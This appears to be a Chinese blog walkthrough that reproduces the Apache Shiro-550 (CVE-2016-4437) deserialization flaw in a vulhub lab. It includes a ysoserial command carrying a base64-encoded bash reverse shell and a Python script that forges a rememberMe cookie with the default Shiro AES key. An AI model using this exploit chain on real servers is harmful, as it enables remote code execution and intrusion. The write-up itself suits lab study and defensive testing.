Apache shiro550 CVE-2016-4437复现

shiro简单介绍

界面

漏洞产生原因:

apache shiro提供了登录信息保存的功能,服务器在验证用户身份的过程中有反序列化操作,这是导致漏洞的主要原因

在第一次登录的时候就给用户一个cookie值

漏洞利用的难点

登录过程

验证过程

复现:

拿vulhub启动靶场环境,访问网页

随便输入账号密码进行抓包,可以看到有rememberme=remember-me,为shiro的特征

下面先用工具复现一遍

填好目标地址,然后爆破密钥,用已知的密钥库爆破,然后检测当前的利用链,再爆破利用链,利用链可以进行选择,一个不行就换下一个

然后再手动复现一遍:下面是大概的利用方式

准备工具:

1、编写反弹shell命令,使用工具

2、启动JRMPListener

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEzMC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}"

再用python脚本生成cookie值

这里注意要把shiro.py和ysoserial-0.0.6-SNAPSHOT-all.jar放到一个目录下面运行

shiro.py:

import sys

import uuid

import base64

import subprocess

from Crypto.Cipher import AES

def encode_rememberme(command):

# 打开JRMP客户端,连接到特定端口

popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)

# 用获取到的key AES加密

BS = AES.block_size

pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")

# 生成随机16位长度的IV

iv = uuid.uuid4().bytes

encryptor = AES.new(key, AES.MODE_CBC, iv)

file_body = pad(popen.stdout.read())

# base64编码

base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))

return base64_ciphertext

if name == 'main':

payload = encode_rememberme(sys.argv[1])

print("rememberMe={0}".format(payload.decode()))

这里我kali缺少库,就拿windows生成了

3、发送payload,在cookie处添加上面生成的remeberMe字段

这时就会让服务器访问我们建立好的JRMP的服务,然后让服务器反弹连接到攻击机的7777端口

监听7777端口之后再发送payload,过一段时间后可以看到成功拿到shell

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-03-21 11:26:03       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-03-21 11:26:03       106 阅读
  3. 在Django里面运行非项目文件

    2024-03-21 11:26:03       87 阅读
  4. Python语言-面向对象

    2024-03-21 11:26:03       96 阅读

热门阅读

  1. AT+MQTTUSERCFG报错ERROR

    2024-03-21 11:26:03       39 阅读
  2. is ignored, because it exists, maybe from xml file

    2024-03-21 11:26:03       43 阅读
  3. web学习笔记(四十一)

    2024-03-21 11:26:03       41 阅读
  4. 机器学习和深度学习的区别

    2024-03-21 11:26:03       45 阅读
  5. 大模型-什么是Fine-tuning

    2024-03-21 11:26:03       35 阅读
  6. C语言经典面试题目(二十三)

    2024-03-21 11:26:03       44 阅读
  7. C语言开启蜂鸣器和风扇

    2024-03-21 11:26:03       44 阅读
  8. C#关键字 sealed、unsafe、virtual、volatile

    2024-03-21 11:26:03       50 阅读
  9. ORA-00845: MEMORY_TARGET not supported on this system

    2024-03-21 11:26:03       38 阅读